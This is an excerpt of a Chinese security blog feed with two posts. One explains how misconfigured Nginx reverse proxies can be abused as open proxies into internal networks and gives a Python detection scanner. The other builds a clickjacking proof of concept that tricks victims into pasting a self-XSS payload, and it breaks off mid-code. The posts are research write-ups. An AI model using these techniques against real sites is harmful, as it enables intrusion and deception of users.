\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u91cc\u7684attack_website\u53ef\u4ee5\u88ab\u4f5c\u4e3aHTTP\u4ee3\u7406\uff0c\u4e8e\u662f\u8fdb\u5165\u4e0b\u4e00\u6b65\u7684\u6d4b\u8bd5\u80fd\u5426\u4f7f\u7528\u975ehttp\/https\u534f\u8bae\u8fdb\u884c\u8bf7\u6c42\uff1f\u4f8b\u5982file:\/\/\/\uff0c\u6d4b\u8bd5\u540e\u53d1\u73b0\u786e\u5b9e\u6ca1\u529e\u6cd5\u8fd9\u6837\u73a9\uff0c\u770b\u6765\u662f\u8fd9\u91cc\u4ee3\u7406\u670d\u52a1\u5668\u4e0d\u652f\u6301\u3002<\/p>\n\n<p><strong>\u5728\u8fd9\u91cc\u66ff\u6362URI\u90e8\u5206\u4e3a\u5185\u7f51\u7684\u5730\u5740\uff0c\u53ef\u4ee5\u76f4\u63a5\u6f2b\u6e38\u5185\u7f51\u7684\u7cfb\u7edf\uff0c\u8fdb\u884c\u6df1\u5165\u7684\u6e17\u900f\u6d4b\u8bd5\u4e86\uff0c\u540e\u7eed\u7684\u4e8b\u60c5\u5c31\u4e0d\u5728\u8fd9\u591a\u8bf4\u4e86\uff0c\u90a3\u4e48\u6765\u7814\u7a76\u770b\u770b\u4e3a\u4ec0\u4e48\u4f1a\u6709\u8fd9\u6837\u7684\u95ee\u9898\u5462\uff1f<\/strong><\/p>\n\n<h2 id=\"\u4ece\u88ab\u52a8\u5076\u7136\u5230\u4e3b\u52a8\u53d1\u73b0\">\u4ece\u88ab\u52a8\u5076\u7136\u5230\u4e3b\u52a8\u53d1\u73b0<\/h2>\n\n<h3 id=\"\u4e86\u89e3\u539f\u7406\">\u4e86\u89e3\u539f\u7406<\/h3>\n\n<p>\u67e5\u9605\u4e86\u4e00\u756a\u8d44\u6599\u548c\u8be2\u95ee\u4e86\u4e00\u4e0b\u670b\u53cb\uff0c\u90fd\u8bf4\u5177\u4f53\u7684\u4e0d\u592a\u6e05\u695a\uff0c\u540e\u6765\u770b\u89c1\u8fd9\u6837\u4e00\u7bc7\u6587\u7ae0\uff1a<\/p>\n\n<p>https:\/\/www.secpulse.com\/archives\/74676.html<\/p>\n\n<p>\u5176\u4e2d\u6240\u8bf4\u539f\u7406\u5927\u81f4\u662f\u56e0\u4e3aNginx\u53cd\u5411\u4ee3\u7406\u914d\u7f6e\u4e0d\u5f53\u5bfc\u81f4\u53ef\u4ee5\u88ab\u4f5c\u4e3a\u6b63\u5411\u4ee3\u7406\uff0c\u5bfc\u81f4\u80fd\u88ab\u5916\u90e8\u4f5c\u4e3aHTTP\u4ee3\u7406\u670d\u52a1\u5668\u3002<\/p>\n\n<h4 id=\"\u6b63\u5411\u4ee3\u7406-and-\u53cd\u5411\u4ee3\u7406\">\u6b63\u5411\u4ee3\u7406 and \u53cd\u5411\u4ee3\u7406<\/h4>\n\n<p><strong>\u6b63\u5411\u4ee3\u7406<\/strong><\/p>\n\n<ul>\n  <li>\u6d4f\u89c8\u5668\uff08\/\u5168\u5c40\uff09\u8bbe\u7f6e\u4ee3\u7406\u670d\u52a1\u5668IP\u548c\u5bf9\u5e94\u7aef\u53e3<\/li>\n  <li>\u6d4f\u89c8\u5668\u8f93\u5165\u76ee\u6807\u5730\u5740-&gt;\u4ee3\u7406\u670d\u52a1\u5668-&gt;\u76ee\u6807\u670d\u52a1\u5668<\/li>\n<\/ul>\n\n<p>\u7b80\u800c\u8a00\u4e4b\uff0c\u6b63\u5411\u4ee3\u7406\u7c7b\u4f3c\u6211\u4eec\u7ecf\u5e38\u7528\u5230\u7684\u8df3\u677f\u673a\uff0c\u5229\u7528\u4ee3\u7406\u53bb\u8bbf\u95ee\u5916\u90e8\u7684\u8d44\u6e90\u3002<\/p>\n\n<p><img src=\"\/images\/2018-09-11\/0x00.png\" alt=\"proxy\" \/><\/p>\n\n<p><strong>\u53cd\u5411\u4ee3\u7406<\/strong><\/p>\n\n<p>\u8ddf\u6b63\u4ee3\u4e0d\u540c\u7684\u5730\u65b9\u5728\u4e8e\u53cd\u5411\u4ee3\u7406\u76f8\u5bf9\u6d4f\u89c8\u5668\u6765\u8bf4\u662f\u900f\u660e\u7684\uff0c\u4e0d\u9700\u8981\u5728\u6d4f\u89c8\u5668\uff08\/\u5168\u5c40\uff09\u505a\u4ec0\u4e48\u914d\u7f6e\uff0c\u800c\u662f\u6709\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\u81ea\u5df1\u505a\u8bf7\u6c42\u8f6c\u53d1\u5230\u5176\u670d\u52a1\u5668\u4e0a\u6240\u914d\u7f6e\u7684\u5730\u5740\u3002<\/p>\n\n<p>\u5927\u81f4\u5982\u4e0b\u7684\u6d41\u7a0b\uff1a<\/p>\n\n<ol>\n  <li>\u6d4f\u89c8\u5668\u8bbf\u95ee\u7f51\u7ad9\uff08\u7f51\u7ad9\u6240\u6307\u5373\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\uff09<\/li>\n  <li>\u7f51\u7ad9\uff08\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\uff09\u505a\u5904\u7406\uff0c\u5c06\u8bf7\u6c42\u8f6c\u53d1\u7ed9\u6240\u8bbe\u7f6e\u7684\u76ee\u6807\u670d\u52a1\u5668<\/li>\n  <li>\u7531\u8bf7\u6c42\u6700\u7ec8\u5230\u8fbe\u7684\u76ee\u6807\u670d\u52a1\u5668\u54cd\u5e94\u7ed9\u7f51\u7ad9\uff08\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\uff09\uff0c\u7136\u540e\u518d\u901a\u8fc7\u5176\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2018-09-11\/0x01.png\" alt=\"proxy\" \/><\/p>\n\n<p>TIPs\uff1a<\/p>\n\n<ul>\n  <li>\u4e00\u3001\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\u4e5f\u53ef\u4ee5\u53d8\u6210WAF\uff08\u4f8b\u5982Nginx\u652f\u6301\u53cd\u4ee3\u529f\u80fd\uff0cnginx+lua\u4e5f\u53ef\u4ee5\u642d\u5efa\u7f51\u7ad9waf\uff09<\/li>\n  <li>\u4e8c\u3001\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\u4e5f\u53ef\u4ee5\u8d77\u5230\u8d1f\u8f7d\u5747\u8861\u7684\u4f5c\u7528\uff0c\u7531\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\u505a\u9009\u62e9\u5206\u914dWeb\u670d\u52a1\u5668<\/li>\n<\/ul>\n\n<h2 id=\"\u4e3b\u52a8\u53d1\u73b0\u811a\u672c\u5f00\u53d1\">\u4e3b\u52a8\u53d1\u73b0\u811a\u672c\u5f00\u53d1<\/h2>\n\n<p>\u811a\u672c\u8bed\u8a00\u9009\u62e9\uff1apython2.7<\/p>\n\n<p>\u7cfb\u7edf\u73af\u5883\uff1aall<\/p>\n\n<h3 id=\"\u601d\u8003\">\u601d\u8003<\/h3>\n\n<p>\u5982\u4f55\u5224\u65ad\u8fd9\u4e2a\u7f51\u7ad9\u5b58\u5728\u53ef\u4ee5\u4f5c\u4e3aHTTP\u4ee3\u7406\u8bbf\u95ee\u8d44\u6e90\uff1f\u552f\u4e00\u7279\u5f81\u662f\u4ec0\u4e48\uff1f<\/p>\n\n<p>\u8111\u5b50\u4e2d\u552f\u4e00\u7684\u601d\u8def\u5c31\u662fIP\uff0c\u5982\u679c\u8fd9\u76ee\u6807\u7ad9\u70b9\u80fd\u4f5c\u4e3aHTTP\u4ee3\u7406\u8bbf\u95ee\u8d44\u6e90\uff0c\u90a3\u4e48\u6211\u8bbe\u7f6e\u7684\u8fd9\u4e2a\u8d44\u6e90\u5c31\u662f\u8fd4\u56de\u771f\u5b9eIP\u7684\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5224\u65ad\u4e86\uff5e<\/p>\n\n<p>\u8fd9\u91cc\u6211\u5728\u56e2\u961f\u5b98\u7f51\u4e0a\u5c0f\u5c0f\u7684\u5199\u4e86\u4e00\u4e2a\uff0c\u4f46\u662f\u5728\u5927\u6279\u91cf\u53bb\u6d4b\u8bd5\u5374\u65e0\u6cd5\u4f7f\u7528\uff0c\u56e0\u4e3a\u5b98\u7f51\u7684\u7a7a\u95f4\u6ca1\u90a3\u4e48\u5927\u7684\u541e\u5410\u91cf\uff0c\u627f\u8f7d\u4e0d\u4f4f\u9ad8\u5e76\u53d1\uff0c\u540e\u671f\u5efa\u8bae\u5927\u5bb6\u4f7f\u7528 http:\/\/httpbin.org\/ip \u8fd9\u4e2a\u63a5\u53e3\uff5e<\/p>\n\n<p>http:\/\/www.hi-ourlife.com\/getip.php<\/p>\n\n<p>PHP\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\necho $_SERVER['REMOTE_ADDR'];\n?&gt;\n<\/code><\/pre>\n\n<h3 id=\"\u4ee3\u7801\u6784\u5efa\">\u4ee3\u7801\u6784\u5efa<\/h3>\n\n<p>Import \u5e93<\/p>\n\n<pre><code class=\"language-python\">import urllib, sys, re, json\n<\/code><\/pre>\n\n<p>\u5168\u5c40\u53d8\u91cf\uff1a<\/p>\n\n<pre><code class=\"language-python\">poc = \"http:\/\/www.hi-ourlife.com\/getip.php\"\n<\/code><\/pre>\n\n<p>\u83b7\u53d6\u4f7f\u7528\u4ee3\u7406\u8bbf\u95ee\u8d44\u6e90\u540e\u5185\u5bb9\uff08IP\uff09\u51fd\u6570\uff1a<\/p>\n\n<pre><code class=\"language-python\">def useProxy(site):\n\ttry:\n\t\tres = urllib.urlopen(poc, proxies={'http': site}).read()\n\t\treturn res\n\texcept:\n\t\treturn getIP()\n<\/code><\/pre>\n\n<p>\u6b63\u5e38\u672c\u673a\u83b7\u53d6IP\u51fd\u6570\uff1a<\/p>\n\n<pre><code class=\"language-python\">def getIP():\n\tres = urllib.urlopen(poc).read()\n\treturn res\n<\/code><\/pre>\n\n<p>\u9632\u6b62\u6709\u4e9b\u4f1a\u51fa\u9519\u8fd4\u56de\u7684\u5185\u5bb9\u4e0d\u662fIP\uff0c\u5176\u5b9e\u8fd4\u56de\u4e0d\u662fIP\u4e5f\u5c31\u95f4\u63a5\u8bc1\u660e\u4e0d\u5b58\u5728\u8fd9\u79cd\u6f0f\u6d1e\uff0c\u6240\u4ee5\u9700\u8981\u5199\u4e2a\u6b63\u5219\u6765\u5339\u914d\uff0c\u8fd9\u65f6\u5019\u5224\u65ad\u662f\u5426\u662fIP\u7684\u51fd\u6570\u5c31\u8bde\u751f\u4e86\uff1a<\/p>\n\n<pre><code class=\"language-python\">def isIP(ip):\n    compileIP = re.compile('^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$')\n    if compileIP.match(ip):\n        return True\n    else:\n        return False\n<\/code><\/pre>\n\n<p>\u5bf9\u6bd4IP\u51fd\u6570\uff1a<\/p>\n\n<pre><code class=\"language-python\">def isVul(site):\n\tresA = getIP()\n\t#print resA\n\tresB = useProxy(site)\n\t#print resB\n\tif resA == resB or not isIP(resB):\n\t\tprint \"\\033[1;33m[INFO]\\033[0m No Vulnerability!\"\n\telse:\n\t\tprint \"\\033[1;31m[INFO]\\033[0m Existing Vulnerability!\"\n\t\tprint \"\\033[1;36m[INFO]\\033[0m Site:[ {0} ] -&gt; RealIP:[ {1} ]\".format(site, resB)\n<\/code><\/pre>\n\n<h3 id=\"\u5355\u7ebf\u7a0b\u6279\u91cf\">\u5355\u7ebf\u7a0b\u6279\u91cf<\/h3>\n\n<p>\u4ece\u626b\u63cf\u5668\u91cc\u628a\u4ee3\u7801\u6a21\u677f\u5265\u79bb\u4e86\u51fa\u6765\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-python\">#-*- coding:utf-8 -*-\n#Author: Vulkey_Chen\n\nimport urllib, sys, re\n\npoc = \"http:\/\/www.hi-ourlife.com\/getip.php\"\n\ndef useProxy(site):\n\ttry:\n\t\tres = urllib.urlopen(poc, proxies={'http': site}).read()\n\t\treturn res\n\texcept:\n\t\treturn getIP()\n\ndef getIP():\n\tres = urllib.urlopen(poc).read()\n\treturn res\n\ndef getSite(filename):\n\tf = open(filename)\n\tres = []\n\tfor line in f:\n\t\tres.append(line)\n\treturn res\n\ndef isIP(ip):\n    compileIP = re.compile('^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$')\n    if compileIP.match(ip):\n        return True\n    else:\n        return False\n\ndef isVul(site):\n\tresA = getIP()\n\t#print resA\n\tresB = useProxy(site)\n\t#print resB\n\tif resA == resB or not isIP(resB):\n\t\tprint \"\\033[1;33m[INFO]\\033[0m No Vulnerability!\"\n\telse:\n\t\tprint \"\\033[1;31m[INFO]\\033[0m Existing Vulnerability!\"\n\t\tprint \"\\033[1;36m[INFO]\\033[0m Site:[ {0} ] -&gt; RealIP:[ {1} ]\".format(site, resB)\n\ndef main(filename):\n\tfor i in getSite(filename):\n\t\tisVul(i.replace(\"\\n\",\"\"))\n\nif __name__ == '__main__':\n\tmain(sys.argv[1])\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-09-11\/0x02.png\" alt=\"res\" \/><\/p>\n\n<h1 id=\"end\">END<\/h1>\n\n<p>\u4f7f\u7528\u65b9\u6cd5\uff1apython proxy_vul.py urls.txt<\/p>\n\n<p>urls.txt \u683c\u5f0f\uff1a<\/p>\n\n<pre><code class=\"language-txt\">http:\/\/www.hi-ourlife.com\/\nhttps:\/\/gh0st.cn\/\nhttp:\/\/mst.hi-ourlife.com:8080\/\n<\/code><\/pre>\n\n<p>\u5efa\u8bae\u6279\u91cf\u65b9\u6cd5\uff1a<\/p>\n\n<p>\u626b\u63cf\u6240\u6709\u60f3\u68c0\u6d4b\u7ad9\u70b9\u7684web\u670d\u52a1\u7aef\u53e3\uff08Nginx\u5bb9\u5668\u5b58\u5728\u6b64\u7c7b\u95ee\u9898\u5c45\u591a\uff09\uff0c\u7136\u540e\u4f7f\u7528\u811a\u672c\u68c0\u6d4b\u3002<\/p>\n\n","pubDate":"2018-09-11T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-09-11\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-09-11\/1"},{"title":"\u7ec4\u5408\u62f3\u51fa\u51fb-Self\u578bXSS\u53d8\u5e9f\u4e3a\u5b9d","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u4f5c\u8005\uff1aVulkey_Chen<\/p>\n\n<p>\u535a\u5ba2\uff1agh0st.cn<\/p>\n\n<p>\u8fd9\u662f\u4e00\u4e2a\u9e21\u808b\u6027\u8d28\u7684\u7814\u7a76\uff0c\u4e5f\u8bb8\u6709\u4e9b\u6807\u9898\u515a\uff0c\u8bf7\u89c1\u8c05\uff5e<\/p>\n\n<p>\u672c\u6587\u542f\u53d1\u4e8e\u4e00\u4e9b\u8ba8\u8bba\uff0c\u548c\u81ea\u5df1\u8111\u5b50\u91cc\u5192\u51fa\u6765\u7684\u60f3\u6cd5\u3002<\/p>\n\n<h1 id=\"\u7ec4\u5408\u62f3\u642d\u914d\">\u7ec4\u5408\u62f3\u642d\u914d<\/h1>\n\n<h2 id=\"self\u578bxss\">Self\u578bXSS<\/h2>\n\n<p>\u5df2\u77e5Self\u578bXSS\u6f0f\u6d1e\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-28\/0x00.png\" alt=\"self-xss\" \/><\/p>\n\n<p>\u76f8\u4fe1\u770b\u89c1\u56fe\u7247\u57fa\u672c\u4e0a\u5df2\u7ecf\u77e5\u9053\u8fd9\u4e2a\u6f0f\u6d1e\u5f62\u6210\u7684\u539f\u56e0\u4e86\uff0c\u8be5\u529f\u80fd\u70b9\u6709\u4e00\u4e2a\u7f16\u8f91\u9884\u89c8\u7684\uff0c\u8f93\u5165XSS\u7684payload\u5c31\u89e6\u53d1\u3002<\/p>\n\n<p>\u5c40\u9650\u70b9\u5728\u4e8e\u8fd9\u4e2a\u6f0f\u6d1e\u662fSelf\u578b(Myself)\uff0c\u4e5f\u5c31\u662f\u53ea\u80fd\u81ea\u5df1\u8f93\u5165-&gt;\u81ea\u5df1\u89e6\u53d1\u6f0f\u6d1e\u3002<\/p>\n\n<h2 id=\"\u53d8\u6362\u601d\u8003\">\u53d8\u6362\u601d\u8003<\/h2>\n\n<p>\u91cd\u65b0\u7406\u4e00\u4e0b\u8fd9\u4e2a\u6f0f\u6d1e\u89e6\u53d1\u7684\u6d41\u7a0b\uff1a<\/p>\n\n<p>1.\u8f93\u5165XSS payload:<\/p>\n\n<pre><code class=\"language-html\">&lt;svg\/onload=alert(1)&gt;\n<\/code><\/pre>\n\n<p>2.\u89e6\u53d1<\/p>\n\n<p>\u90a3\u4e48\u662f\u5426\u4e5f\u53ef\u4ee5\u7406\u89e3\u4e3a\u8fd9\u6837\u7684\u4e00\u4e2a\u89e6\u53d1\u6d41\u7a0b\uff1a<\/p>\n\n<p>1.XSS payload\u5c31\u5728\u526a\u8d34\u677f\u4e2d<\/p>\n\n<p>2.\u9ecf\u8d34\u5230\u6587\u672c\u6846<\/p>\n\n<p>3.\u89e6\u53d1<\/p>\n\n<p>\u4e5f\u5c31\u662f\u8bf4\u5728\u8fd9\u91cc\u6211\u53ea\u9700\u8981\u6cbf\u7740\u8fd9\u4e2a\u6d41\u7a0b\u5411\u4e0b\u62d3\u5c55\uff0c\u662f\u5426\u53ef\u4ee5\u8ba9\u6211\u53d8\u6362\u7684\u89e6\u53d1\u6d41\u7a0b\u6587\u5b57\u53d8\u6210\u4ee3\u7801\u5f62\u5f0f\u3002<\/p>\n\n<h3 id=\"\u987a\u63a8\u6d41\u7a0b\">\u987a\u63a8\u6d41\u7a0b<\/h3>\n\n<p>\u89e6\u53d1\u6d41\u7a0b\u987a\u63a8\u4e3a<strong>\u653b\u51fb\u6d41\u7a0b<\/strong>\uff1a<\/p>\n\n<p>1.\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u5f00\u8fde\u63a5<\/p>\n\n<p>2.\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\u590d\u5236\u6309\u94ae<\/p>\n\n<p>3.\u8bf1\u5bfc\u53d7\u5bb3\u8005\u9ecf\u8d34\u526a\u8d34\u677f\u7684\u5185\u5bb9<\/p>\n\n<p>4.\u987a\u5229\u89e6\u53d1XSS\u6f0f\u6d1e<\/p>\n\n<p>\u8fd9\u4e00\u5207\u7684\u653b\u51fb\u6d41\u7a0b\u770b\u8d77\u6765\u53ef\u64cd\u4f5c\u6027\u5e76\u4e0d\u5f3a\uff0c\u4f46\u5b9e\u9645\u4e0a\u8fd8\u662f\u4f1a\u6709\u5f88\u591a\u4eba\u4e2d\u62db\u3002<\/p>\n\n<h3 id=\"\u642d\u914d\u8c01\">\u642d\u914d\u8c01\uff1f<\/h3>\n\n<p>\u4ee5\u4e0a\u7684\u653b\u51fb\u6d41\u7a0b\u90fd\u9700\u8981\u5728\u540c\u4e00\u4e2a\u9875\u9762\u4e2d\u89e6\u53d1\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u4e00\u4e2a\u70b9\u51fb\u52ab\u6301\u7684\u914d\u5408\u3002<\/p>\n\n<p>\u201c<strong>\u4e0a\u5929\u603b\u662f\u7737\u987e\u957f\u5f97\u5e05\u7684\u4eba<\/strong>\u201d\uff0c\u5728\u8fd9\u91cc\u786e\u5b9e\u4e5f\u5b58\u5728\u7740\u70b9\u51fb\u52ab\u6301\u7684\u95ee\u9898\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-28\/0x01.png\" alt=\"http-response\" \/><\/p>\n\n<h3 id=\"\u4ee3\u7801\u601d\u8003\u6784\u5efa\">\u4ee3\u7801\u601d\u8003&amp;\u6784\u5efa<\/h3>\n\n<h4 id=\"\u590d\u5236\u529f\u80fd\">\u590d\u5236\u529f\u80fd<\/h4>\n\n<p>\u6309\u6d41\u7a0b\u6765\u6784\u5efa\uff0c\u9996\u5148\u6784\u5efa\u590d\u5236\u5230\u526a\u8d34\u677f\u7684\u529f\u80fd\uff1a<\/p>\n\n<p>JavaScript\u6709\u8fd9\u6837\u7684\u529f\u80fd\uff0c\u4ee3\u7801\u5982\u4e0b\uff0c\u81ea\u884c \u201d<strong>\u98df<\/strong>\u201c \u7528\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script type=\"text\/javascript\"&gt;\nfunction cpy(){\n\tvar content=document.getElementById(\"test\");\/\/\u83b7\u53d6id\u4e3atest\u7684\u5bf9\u8c61\n\tcontent.select();\/\/\u5168\u9009\u5185\u5bb9\n\tdocument.execCommand(\"Copy\");\/\/\u6267\u884c\u590d\u5236\u547d\u4ee4\u5230\u526a\u8d34\u677f\n}\n&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>HTML\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;input type=\"text\" id=\"test\" value='&lt;svg\/onload=alert(1)&gt;'&gt;&lt;br&gt;\n&lt;input type=\"submit\" value=\"test\" onclick=\"cpy()\"&gt;\n<\/code><\/pre>\n\n<p>\u754c\u9762\u5982\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-28\/0x02.png\" alt=\"view\" \/><\/p>\n\n<p>\u95ee\u9898\uff1a<\/p>\n\n<p><strong>\u867d\u7136\u4f5c\u4e3a\u4e00\u4e2aPoC\u6765\u8bf4\uff0c\u4e0d\u9700\u8981\u90a3\u4e48\u82db\u523b\u7684\u8981\u6c42PoC\u7684\u4e25\u8c28\u6027\uff0c\u4f46\u8fd9\u91cc\u5904\u4e8e\u7814\u7a76\u63a2\u7d22\u7684\u76ee\u7684\u8fd8\u662f\u9700\u8981\u89e3\u51b3\u95ee\u9898\uff0c\u5982\u679cinput\u6807\u7b7e\u7684\u5185\u5bb9\u663e\u793a\u51fa\u6765\uff0c\u90a3\u4e48\u5c31\u5f88\u5bb9\u6613\u66b4\u9732\u672c\u8eab\u7684\u653b\u51fb\u3002<\/strong><\/p>\n\n<p>\u9488\u5bf9\u8fd9\u7c7b\u95ee\u9898\u4e00\u5f00\u59cb\u6211\u60f3\u5230\u7684\u662f\u4f7f\u7528hidden\u5c5e\u6027\u6784\u5efa\u4e3a\u5982\u4e0b\u7684HTML\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;input type=\"hidden\" id=\"test\" value='&lt;svg\/onload=alert(1)&gt;'&gt;&lt;br&gt;\n&lt;input type=\"submit\" value=\"test\" onclick=\"cpy()\"&gt;\n<\/code><\/pre>\n\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u5e76\u4e0d\u80fd\u6210\u529f\u7684\u4f7f\u7528\u590d\u5236\u529f\u80fd\uff0c\u6211\u7684\u7406\u89e3\u662f\u56e0\u4e3a\u5728JavaScript\u4ee3\u7801\u4e2d\u6709\u8fd9\u6837\u4e00\u6bb5\u5185\u5bb9\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">...\ncontent.select();\/\/\u5168\u9009\u5185\u5bb9\n...\n<\/code><\/pre>\n\n<p>\u65e2\u7136\u662f\u5168\u9009\u5185\u5bb9\u90a3\u4e48\u4e00\u5b9a\u8981\u6709\u8fd9\u6837\u4e00\u4e2a\u7f16\u8f91\u6846\u6216\u8005\u8f93\u5165\u6846\u7684\u5b58\u5728\uff0c\u6240\u4ee5\u4f7f\u7528Hidden\u4ece\u5b9e\u9645\u610f\u4e49\u4e0a\u662f\u6ca1\u6709\u8fd9\u6837\u4e00\u4e2a\u201d<strong>\u6846<\/strong>\u201c\u7684\u3002<\/p>\n\n<p>\u89e3\u51b3\u95ee\u9898\uff1a<\/p>\n\n<p>\u5728\u8fd9\u91cc\u6211\u9009\u62e9\u4f7f\u7528\u900f\u660e\u6837\u5f0f\u6765\u4ece\u201d<strong>\u89c6\u89c9\u4e0a\u9690\u85cf<\/strong>\u201c\u6807\u7b7e\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;style type=\"text\/css\"&gt;\n#test { \/*css id\u9009\u62e9\u5668*\/\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n&lt;\/style&gt;\n<\/code><\/pre>\n\n<p>\u90a3\u4e48\u754c\u9762\u5c31\u53d8\u6210\u5982\u4e0b\u7684\u6837\u5b50\u4e86\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-28\/test.gif\" alt=\"test\" \/><\/p>\n\n<p>\u6ce8\u610f\uff1a<strong>\u8fd9\u91cc\u6ca1\u529e\u6cd5\u4f7f\u7528\u81ea\u52a8\u590d\u5236\u5230\u526a\u8d34\u677f\uff0c\u5fc5\u987b\u9700\u8981\u4e00\u4e2a\u6309\u94ae\u624d\u884c<\/strong><\/p>\n\n<h4 id=\"\u70b9\u51fb\u52ab\u6301\">\u70b9\u51fb\u52ab\u6301<\/h4>\n\n<p>\u70b9\u51fb\u52ab\u6301\u4e4b\u524d\u5199\u8fc7\u4e00\u7bc7\u6587\u7ae0\uff0c\u6240\u4ee5\u5c31\u4e0d\u5728\u505a\u8bb2\u89e3\u4e86\uff0c\u53c2\u8003\u6211\u4e4b\u524d\u5199\u7684\u4e00\u7bc7\u6587\u7ae0\uff1ahttp:\/\/gh0st.cn\/archives\/2017-12-20\/1<\/p>\n\n<p>\u6784\u5efa\u57fa\u672cCSS\u6837\u5f0f\uff1a<\/p>\n\n<pre><code class=\"language-css\">.testframe {\n\theight: 100%;\n} \niframe {\n\theight: 100%;\n\twidth: 100%;\n\tborder: 0;\n\tmargin: 0;\n\tpadding: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n#submit {\n    position: fixed;\n    width: 614px;\n    height: 30px;\n    margin: 0 auto;\n    left: 0;\n    right: 550px;\n    display: block;\n    top: 640px;\n}\n<\/code><\/pre>\n\n<p>iframe\u6846\u67b6&amp;&amp;\u8f93\u5165\u6846\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;div class=\"testframe\"&gt;\n    &lt;iframe src=\"https:\/\/website\/New\"&gt;&lt;\/iframe&gt;\n    &lt;input type=\"text\" id=\"submit\"&gt;\n&lt;\/div&gt;\n<\/code><\/pre>\n\n<h4 id=\"\u6700\u7ec8poc\">\u6700\u7ec8PoC<\/h4>\n\n<pre><code class=\"language-html\">&lt;html&gt;\n&lt;head&gt;\n&lt;style type=\"text\/css\"&gt; \n.testframe {\n\theight: 100%;\n} \niframe {\n\theight: 100%;\n\twidth: 100%;\n\tborder: 0;\n\tmargin: 0;\n\tpadding: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    